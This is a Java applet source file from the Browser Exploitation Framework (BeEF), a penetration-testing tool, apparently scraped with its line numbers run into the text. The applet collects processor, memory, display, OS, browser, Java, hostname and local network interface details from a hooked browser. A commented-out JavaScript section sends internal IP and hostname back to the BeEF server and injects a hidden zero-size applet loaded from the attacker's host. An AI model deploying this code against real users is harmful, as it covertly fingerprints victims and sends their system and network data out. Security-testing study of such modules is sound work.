Path: blob/master/modules/host/get_system_info_java/getSystemInfo.java
1154 views
/*1* Copyright (c) 2006-2025Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3* See the file 'doc/COPYING' for copying permission4*/56import java.applet.*;7import java.awt.*;8import java.net.*;9import java.util.*;1011public class getSystemInfo extends Applet {1213public getSystemInfo() {14super();15return;16}1718public static String getInfo() {1920String result = "";2122// -- Processor -- //23try {24// System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors()));25result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n";26}27catch (Exception exception) {28//result += "Exception while gathering processor info: "+exception;29result += "Exception while gathering processor info\n";30}3132// -- Memory -- //33try {34long maximumMemory = Runtime.getRuntime().maxMemory();35// System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory));36result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n";37// System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory());38result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n";39// System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory());40result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n";41}42catch (Exception exception) {43//result += "Exception while gathering memory info: "+exception;44result += "Exception while gathering memory info\n";45}4647// -- Displays -- //48try {49GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();50// System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring());51result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n";52GraphicsDevice[] gs = ge.getScreenDevices();53for (int i=0; i<gs.length; i++) {54DisplayMode dm = gs[i].getDisplayMode();55// System.out.println(gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz");56result += gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"+"\n";57}58}59catch (Exception exception) {60//result += "Exception while gathering display info: "+exception;61result += "Exception while gathering display info\n";62}6364// -- OS -- //65try {66// System.out.println("OS Name: "+System.getProperty("os.name"));67result += "OS Name: "+System.getProperty("os.name")+"\n";68// System.out.println("OS Version: "+System.getProperty("os.version"));69result += "OS Version: "+System.getProperty("os.version")+"\n";70// System.out.println("OS Architecture: "+System.getProperty("os.arch"));71result += "OS Architecture: "+System.getProperty("os.arch")+"\n";72}73catch (Exception exception) {74//result += "Exception while gathering OS info: "+exception;75result += "Exception while gathering OS info\n";76}7778// -- Browser -- //79try {80// System.out.println("Browser Name: "+System.getProperty("browser"));81result += "Browser Name: "+System.getProperty("browser")+"\n";82// System.out.println("Browser Version: "+System.getProperty("browser.version"));83result += "Browser Version: "+System.getProperty("browser.version")+"\n";84}85catch (Exception exception) {86//result += "Exception while gathering browser info: "+exception;87result += "Exception while gathering browser info\n";88}8990// -- Java -- //91try {92// System.out.println("Java Vendor: "+System.getProperty("java.vendor"));93result += "Java Vendor: "+System.getProperty("java.vendor")+"\n";94// System.out.println("Java Version: "+System.getProperty("java.version"));95result += "Java Version: "+System.getProperty("java.version")+"\n";96// System.out.println("Java Specification Version: "+System.getProperty("java.specification.version"));97result += "Java Specification Version: "+System.getProperty("java.specification.version")+"\n";98// System.out.println("Java VM Version: "+System.getProperty("java.vm.version"));99result += "Java VM Version: "+System.getProperty("java.vm.version")+"\n";100}101catch (Exception exception) {102//result += "Exception while gathering java info: "+exception;103result += "Exception while gathering java info\n";104}105106// -- Network -- //107try {108// System.out.println("Host Name: " + InetAddress.getLocalHost().getHostName());109result += "Host Name: " + java.net.InetAddress.getLocalHost().getHostName()+"\n";110// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());111result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";112// System.out.println("Network Interfaces:");113result += "Network Interfaces (interface, name, IP):\n";114Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();115while (networkInterfaces.hasMoreElements()) {116NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();117result += networkInterface.getName() + ", ";118result += networkInterface.getDisplayName()+ ", ";119Enumeration inetAddresses = (networkInterface.getInetAddresses());120if(inetAddresses.hasMoreElements()){121while (inetAddresses.hasMoreElements()) {122InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();123result +=inetAddress.getHostAddress() + "\n";124}125}else{126result += "\n"; // in case we can't retrieve the address of some network interfaces127}128}129}130catch (Exception exception) {131//result += "Exception while gathering network info: "+exception;132result += "Exception while gathering network info\n";133}134135return result;136137}138139}140141142143/*144if (beef.browser.isFF()) {145var internal_ip = beef.net.local.getLocalAddress();146var internal_hostname = beef.net.local.getLocalHostname();147148if(internal_ip && internal_hostname) {149beef.net.send('<%= @command_url %>', <%= @command_id %>,150'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);151}152} else {153//Trying to insert the Beeffeine applet154content = "<APPLET code='Beeffeine' codebase='"+beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";155$j('body').append(content);156internal_counter = 0;157//We have to kick off a loop now, because the user has to accept the running of the applet perhaps158159*/160161162